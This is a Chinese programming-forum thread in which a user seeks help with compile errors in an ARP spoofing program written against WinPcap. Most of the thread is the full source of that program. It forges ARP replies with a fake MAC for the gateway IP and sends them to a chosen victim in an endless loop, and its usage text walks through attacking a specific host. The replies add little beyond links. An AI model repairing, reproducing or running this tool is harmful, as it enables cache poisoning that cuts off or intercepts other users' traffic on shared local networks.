【急切求助】关于ARP局域网攻击程序的Bug....

[jscn123789abc]

Packet32.h是从Win2000 DDK安装包拷贝过来的，是在XP环境下用VS2005调试；
Packet.dll和wpcap.dll是从WinPcap 3.0 安装包拷贝过来的；
错误提示信息如下：
/////////////////////////////////////
错误 1 error C2065: 'MAX_LINK_NAME_LENGTH' : undeclared identifier e:\arp攻击程序\arp攻击程序\arpattack\packet32.h 12
错误 2 error C2664: 'PacketOpenAdapter' : cannot convert parameter 1 from 'char [128]' to 'LPTSTR' e:\arp攻击程序\arp攻击程序\arpattack\arpattack.cpp 207
错误 3 error C2660: 'PacketAllocatePacket' : function does not take 0 arguments e:\arp攻击程序\arp攻击程序\arpattack\arpattack.cpp 242
错误 4 error C3861: 'PacketSetNumWrites': identifier not found e:\arp攻击程序\arp攻击程序\arpattack\arpattack.cpp 246
/////////////////////////////////////

[wukai666]

应该是基于winpcap的！应在此基础上调试！

[jscn123789abc]

谢谢楼上朋友的回复．．．．

[greatws]

又一贴？
已经回你了
http://topic.csdn.net/u/20090315/13/84737646-3bc2-4d5e-b552-8c521771dee6.html?seed=475733359

[yxw860516]

学习一下！！

[jscn123789abc]

共同探讨一些底层的通讯协议，谢谢．．．

[jscn123789abc]

//////////////////////
Packet32.h源代码
/////////////////////

#ifndef __PACKET32
#define __PACKET32


#define DOSNAMEPREFIX TEXT("Packet_")

typedef struct _ADAPTER {

HANDLE hFile;

TCHAR SymbolicLink[MAX_LINK_NAME_LENGTH];

} ADAPTER, *LPADAPTER;


typedef struct _PACKET {
HANDLE hEvent;
OVERLAPPED OverLapped;
PVOID Buffer;
UINT Length;
} PACKET, *LPPACKET;


BOOL
PacketStartDriver(
LPTSTR ServiceName
);
BOOL
PacketStopDriver(
IN LPCTSTR ServiceName
);

PVOID
PacketOpenAdapter(
LPTSTR AdapterName
);


BOOL
PacketSendPacket(
LPADAPTER AdapterObject,
LPPACKET lpPacket,
BOOLEAN Sync
);


PVOID
PacketAllocatePacket(
LPADAPTER AdapterObject
);


VOID
PacketInitPacket(
LPPACKET lpPacket,
PVOID Buffer,
UINT Length
);

VOID
PacketFreePacket(
LPPACKET lpPacket
);



BOOL
PacketResetAdapter(
LPADAPTER AdapterObject
);


BOOLEAN
PacketGetAddress(
LPADAPTER AdapterObject,
PUCHAR AddressBuffer,
PUINT Length
);




BOOL
PacketWaitPacket(
LPADAPTER AdapterObject,
LPPACKET lpPacket,
PULONG BytesReceived
);
/*++

Routine Description:

This routine waits for an overlapped IO on a packet to complete
Called if the send or receive call specified FALSE for the Sync parmeter

Arguments:

AdapterObject - AdapterObject return by PacketOpenAdapter

lpPacket - Packet object returned by PacketAllocatePacket and initialized
by PacketInitPacket

Return Value:

SUCCESS - TRUE if overlapped call succeeded
FAILURE -

--*/

BOOL
PacketReceivePacket(
LPADAPTER AdapterObject,
LPPACKET lpPacket,
BOOLEAN Sync,
PULONG BytesReceived
);
/*++

Routine Description:

This rotine issues a receive request from the adapter

Arguments:

AdapterObject - AdapterObject return by PacketOpenAdapter

lpPacket - Packet object returned by PacketAllocatePacket and initialized
by PacketInitPacket

Sync - TRUE if service should wait for packet to transmit


Return Value:

SUCCESS - TRUE if succeeded and SYNC==TRUE
FAILURE -

--*/



VOID
PacketCloseAdapter(
LPADAPTER lpAdapter
);

BOOL
PacketSetFilter(
LPADAPTER AdapterObject,
ULONG Filter
);
/*++

Routine Description:

This rotine sets the adapters packet filter

Arguments:

AdapterObject - AdapterObject return by PacketOpenAdapter

Filter - filter to be set

Return Value:

SUCCESS -
FAILURE -

--*/


ULONG
PacketGetAdapterNames(
PTSTR pStr,
PULONG BufferSize
);




#endif

[oyljerry]

http://blog.csdn.net/vlirqin/archive/2009/01/02/3686908.aspx
还有一些对应的头文件

[jscn123789abc]

////////////////////////
arpattack.cpp源文件
///////////////////////// ARP.cpp : Defines the entry point for the console application.

#include "stdafx.h"
#include <winsock2.h>
#include <stdio.h>
#include <Iphlpapi.h>
#include "packet32.h"
#include <stdlib.h>
#pragma comment(lib, "packet.lib")
#pragma comment(lib, "WS2_32.lib")
#pragma comment(lib, "Iphlpapi.lib")

typedef struct tagAdapterInfo
{
char szDeviceName[128]; // 名字
char szIPAddrStr[16]; // IP
char szHWAddrStr[18]; // MAC
DWORD dwIndex; // 编号
bool filled; //是否取得了网卡信息
}INFO_ADAPTER, *PINFO_ADAPTER;

INFO_ADAPTER infoAdapterList[10];

typedef struct _et_header //以太网头部
{
unsigned char eh_dst[6]; //接收方的MAC
unsigned char eh_src[6]; //发送方的MAC
unsigned short eh_type; //arp报文类型 0x0806
}ET_HEADER;

#pragma pack(1)
typedef struct _arp_header //ARP头部
{
unsigned short arp_hdr; //硬件地址类型 以太网 0x0001
unsigned short arp_pro; //上层协议地址类型 IP协议 0x0800
unsigned char arp_hln; //MAC地址长度 0x06
unsigned char arp_pln; //IP地址长度 0x04
unsigned short arp_opt; //操作码 0x0001 请求 0x0002 应答
unsigned char arp_sha[6]; //发送方 MAC
unsigned long arp_spa; //发送方 IP
unsigned char arp_tha[6]; //接收方 MAC
unsigned long arp_tpa; //接收方 IP
}ARP_HEADER;
#pragma pack()


int GetLocalAdapterList() //获取本地网卡信息
{
char tempChar;
ULONG uListSize=1;
PIP_ADAPTER_INFO pAdapter; // 定义PIP_ADAPTER_INFO结构存储网卡信息
int nAdapterIndex = 0;

//获得网卡列表信息串长度
DWORD dwRet = GetAdaptersInfo((PIP_ADAPTER_INFO)&tempChar, &uListSize);
printf("\r\nTry to get adapter list...\r\n");
if (dwRet == ERROR_BUFFER_OVERFLOW) //缓冲区溢出异常
{
PIP_ADAPTER_INFO pAdapterListBuffer = (PIP_ADAPTER_INFO) new (char[uListSize]); //新建一个缓冲区存放网卡信息
dwRet = GetAdaptersInfo(pAdapterListBuffer, &uListSize);
if (dwRet == ERROR_SUCCESS) //获得网卡信息成功
{
pAdapter = pAdapterListBuffer;
// 枚举网卡然后将相关条目添加到List中
while (pAdapter) //从缓冲区取网卡信息
{
// 网卡名字
char strTemp[128];
lstrcpy(LPWSTR(strTemp),LPCTSTR("\\Device\\NPF_") );
lstrcat(LPWSTR(strTemp),LPCWSTR(pAdapter->AdapterName)); // 加上前缀
lstrcpy(LPWSTR(infoAdapterList[nAdapterIndex].szDeviceName),LPWSTR(strTemp));
// IP
lstrcpy(LPWSTR(infoAdapterList[nAdapterIndex].szIPAddrStr),LPCWSTR(pAdapter->IpAddressList.IpAddress.String));
// MAC
sprintf(infoAdapterList[nAdapterIndex].szHWAddrStr, "%02x%02x%02x%02x%02x%02x",
pAdapter->Address[0],pAdapter->Address[1],pAdapter->Address[2],
pAdapter->Address[3],pAdapter->Address[4],pAdapter->Address[5]);
// 网卡编号
infoAdapterList[nAdapterIndex].dwIndex = pAdapter->Index;
pAdapter = pAdapter->Next;
nAdapterIndex ++;
}
delete pAdapterListBuffer;
}

return nAdapterIndex;
}
return 0;
}




void StrToMac(char *str,unsigned char *mac)
{
char *str1;
int i;
int low,high;
char temp;
for(i=0;i<6;i++)
{
str1=str+1;
switch(*str)
{
case 'a': high=10;break;
case 'b': high=11;break;
case 'c': high=12;break;
case 'd': high=13;break;
case 'e': high=14;break;
case 'f': high=15;break;
default: temp=*str;
high=atoi(&temp);
}
switch(*str1)
{
case 'a': low=10;break;
case 'b': low=11;break;
case 'c': low=12;break;
case 'd': low=13;break;
case 'e': low=14;break;
case 'f': low=15;break;
default:temp=*str1;
low=atoi(&temp);
}
mac[i]=high*16+low;
str+=2;
}
}

[jscn123789abc]

int about()
{
printf("使用方法 : ArpAttack 被攻击方IP 发送方IP 假的MAC地址\r\n");
printf("\n假设我想攻击192.168.0.2 那么先取得网关IP地址 :192.168.0.1");
printf("\n然后再 arpattack 192.168.0.2 192.168.0.1 222222222222(虚假MAC地址)");
printf("\n\n 作者 : 李海东 04303246\n ");

return 1;
}
int GetRemoteMac(unsigned char*remoteMac,char *remoteIP) //获取某IP真实mac地址并输出
{
WSADATA wsdata;
ULONG remoteAddr=0,macAddrlen=6;
unsigned char remoteMacTemp[6]={0};

if(WSAStartup(MAKEWORD(2,1),&wsdata)!=0)
{
printf("WSAStartup Error!\r\n");
return 0;
}
remoteAddr=inet_addr(remoteIP);
if(SendARP(remoteAddr,(unsigned long)NULL,(PULONG)&remoteMacTemp,&macAddrlen)!=NO_ERROR) //发送arp包出错
{
printf("Get Remote MAC failed!\r\n");
return 0;
}
memcpy(remoteMac,remoteMacTemp,6);
printf("Remote IP:%s MAC:",remoteIP);
for (int i=0;i<6;i++)
{
printf("%.2x-",remoteMacTemp);
}
printf("\r\n");

return 1;

}


int main(int argc,char *argv[])
{
unsigned char fakemac[6]={0};
int index;
static CHAR adapter_list[10][1024];
ULONG adapter_length=1024;

LPADAPTER lpAdapter;
if (argc<4)
{
about();
return 0;
}
unsigned char remoteMac[6]={0};
if(!GetRemoteMac(remoteMac,argv[1]))

{
printf("GetRemoteMac Error!\r\n");
return -1;
}

int adaptercout = GetLocalAdapterList();

StrToMac(argv[3],fakemac);

for(int ab=0;ab<adaptercout;ab++)
printf("%d: %s: %s\n\n",ab+1,infoAdapterList[ab].szIPAddrStr,infoAdapterList[ab].szDeviceName);

printf("请选择一块网卡:");
while(TRUE)
{
scanf("%d",&index);
if(index >0 && index <=adaptercout)
break;
else
printf("请重新输入:");
}

lpAdapter=(LPADAPTER)PacketOpenAdapter(infoAdapterList[index-1].szDeviceName);
if(!lpAdapter||(lpAdapter->hFile==INVALID_HANDLE_VALUE))
{
printf("acketOepnAdapter Error!\r\n");
return -1;
}


//---------------------------------------------------------------------------
//构造一个arp包
ET_HEADER et_header;
ARP_HEADER arp_header;
memcpy(et_header.eh_dst,remoteMac,6);
memcpy(et_header.eh_src,fakemac,6);
et_header.eh_type=htons(0x0806);

arp_header.arp_hdr=htons(0x0001);
arp_header.arp_pro=htons(0x0800);
arp_header.arp_hln=0x06;
arp_header.arp_pln=0x04;
arp_header.arp_opt=htons(0x0002);

arp_header.arp_spa=inet_addr(argv[2]); //发送方ip
memcpy(arp_header.arp_sha,et_header.eh_src,6);
arp_header.arp_tpa=inet_addr(argv[1]); //被欺骗的IP
memcpy(arp_header.arp_tha,et_header.eh_dst,6);

char buffer[512]={0};
memcpy(buffer,&et_header,sizeof(ET_HEADER));
memcpy(buffer+sizeof(ET_HEADER),&arp_header,sizeof(ARP_HEADER));

//------------------------------------------------------------------------

LPPACKET lpPacket;

lpPacket=PacketAllocatePacket(); //分配内存

PacketInitPacket(lpPacket,buffer,64);//初始化

if(PacketSetNumWrites(lpAdapter,2)==FALSE)
{
printf("攻击失败! \r\n");
return 0;

}
while(TRUE)
{
struct in_addr sAddr,tdAddr;
sAddr.S_un.S_addr=arp_header.arp_spa;
tdAddr.S_un.S_addr=arp_header.arp_tpa;

printf("攻击 %s中\r\n",argv[1]);
if(PacketSendPacket(lpAdapter,lpPacket,TRUE)==FALSE) //发送包
{
printf("攻击失败!\r\n");
break;
}
Sleep(2000);
}
PacketFreePacket(lpPacket); //释放
PacketCloseAdapter(lpAdapter); //关闭网卡
return 1;
}

[jscn123789abc]

第一次接触直接跟硬件打交道的网络通讯程序，
请高手帮忙分析一下问题，
谢谢．．．